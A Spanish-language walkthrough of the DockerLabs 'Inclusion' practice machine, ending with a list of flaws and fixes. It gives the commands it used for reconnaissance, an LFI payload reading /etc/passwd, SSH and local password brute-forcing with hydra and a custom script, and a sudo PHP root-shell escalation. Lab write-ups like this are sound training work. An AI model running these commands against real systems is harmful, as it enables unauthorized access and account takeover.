Ir al contenido

Inclusion

Este documento detalla la resolución completa de la máquina Inclusion, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo es guiar paso a paso el proceso de compromiso del sistema:

  1. Reconocimiento: Descubrimiento de servicios y endpoints web expuestos.
  2. Explotación: Obtención de credenciales mediante una vulnerabilidad LFI combinada con fuerza bruta vía SSH.
  3. Escalada de privilegios: Uso de técnicas de password scraping y mala configuración de sudo para obtener root.

Todo el procedimiento se realizó en el entorno aislado de DockerLabs.


AtributoValor
NombreInclusion
AutorEl Pingüino de Mario
DificultadMedio
Fecha12/05/2024
PlataformaDockerLabs

Descomprimimos y desplegamos la máquina:

Ventana de terminal
unzip Inclusion.zip
sudo bash auto_deploy.sh Inclusion.tar

IP asignada


Ventana de terminal
mkdir -p Inclusion/{content,exploits,nmap,gobuster,scripts}
cd Inclusion

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Utilizamos Feroxbuster:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

Feroxbuster result

Rutas relevantes:

  • /index.html — Página generada por Apache.
  • /shop — Una tienda de teclados con un parámetro vulnerable.

shop

Dentro de /shop, se observa el mensaje:

"Error de Sistema: ($_GET['archivo']);"

Esto indica que el backend intenta cargar archivos usando el valor de archivo, sugiriendo una vulnerabilidad LFI.


Probamos un ataque LFI:

http://172.17.0.2/shop/index.php?archivo=../../../../etc/passwd

passwd

Usuarios identificados:

  • manchi
  • seller

Los wrappers de PHP están deshabilitados, así que no podemos convertir el LFI en RCE. La vía lógica: fuerza bruta contra SSH.

Probamos con manchi:

Ventana de terminal
hydra -l manchi -P rockyou.txt ssh://172.17.0.2 -t 64

hydra

Obtenemos credenciales válidas → acceso via SSH:

ssh



No encontramos binarios SUID, tareas cron o configuraciones sudo útiles. Por lo tanto, recurrimos a fuerza bruta interna con el script personalizado UserRush.

Transferimos los archivos mediante scp:

Ventana de terminal
scp ./UserRush.sh manchi@172.17.0.2:/tmp/UserRush.sh
scp ./rockyou.txt manchi@172.17.0.2:/tmp/rockyou.txt

files

Asignamos permisos de ejecución:

Ventana de terminal
chmod +x /tmp/UserRush.sh

Ejecutamos:

Ventana de terminal
./UserRush.sh -u seller -t 20

UserRush results

Accedemos con:

Ventana de terminal
su seller

seller


Revisamos permisos sudo:

sudo-l seller

Vemos que seller puede ejecutar PHP como root sin contraseña. Por lo tanto, podemos invocar una shell como root:

Ventana de terminal
sudo php -r "system('/bin/bash');"

Acceso root:

root


  • LFI no validado, permitiendo lectura de archivos sensibles.
  • SSH expuesto sin protecciones adicionales.
  • Contraseñas débiles y reutilizadas.
  • Acceso sudo excesivo: permitir ejecutar PHP como root es crítico.
  • Falta de restricciones en herramientas de enumeración internas.

  • Implementar validación estricta del parámetro archivo en /shop/.
  • Deshabilitar SSH o restringirlo únicamente a IPs confiables.
  • Aplicar políticas de contraseñas robustas y rotación periódica.
  • Revisar configuraciones sudo y eliminar privilegios innecesarios.
  • Monitorear accesos sospechosos y aplicar reglas de detección LFI.